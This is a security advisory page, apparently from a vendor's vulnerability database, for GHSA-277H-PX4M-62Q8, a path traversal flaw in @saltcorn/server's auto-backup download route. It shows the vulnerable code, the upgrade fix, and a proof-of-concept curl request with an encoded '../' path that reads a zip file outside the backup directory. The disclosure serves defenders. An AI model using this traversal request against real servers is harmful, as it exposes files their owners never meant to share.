GHSA-277H-PX4M-62Q8

@saltcorn/server arbitrary file zip read and download when downloading auto backups

router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);

echo "secret12345" > /tmp/secret.zip

cat secret.zip
secret12345

curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

Arbitrary zip files download (information disclosure).

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

GHSA-277H-PX4M-62Q8 has a CVSS score of 4.4 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.0-beta.14); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. What is GHSA-277H-PX4M-62Q8? GHSA-277H-PX4M-62Q8 is a medium-severity path traversal vulnerability in @saltcorn/server (npm), affecting versions <= 1.0.0-beta.13. It is fixed in 1.0.0-beta.14. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is GHSA-277H-PX4M-62Q8? GHSA-277H-PX4M-62Q8 has a CVSS score of 4.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @saltcorn/server are affected by GHSA-277H-PX4M-62Q8? @saltcorn/server (npm) versions <= 1.0.0-beta.13 is affected.
4. Is there a fix for GHSA-277H-PX4M-62Q8? Yes. GHSA-277H-PX4M-62Q8 is fixed in 1.0.0-beta.14. Upgrade to this version or later.
5. Is GHSA-277H-PX4M-62Q8 exploitable, and should I be worried? Whether GHSA-277H-PX4M-62Q8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-277H-PX4M-62Q8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-277H-PX4M-62Q8? Upgrade @saltcorn/server to 1.0.0-beta.14 or later.

Other vulnerabilities in @saltcorn/server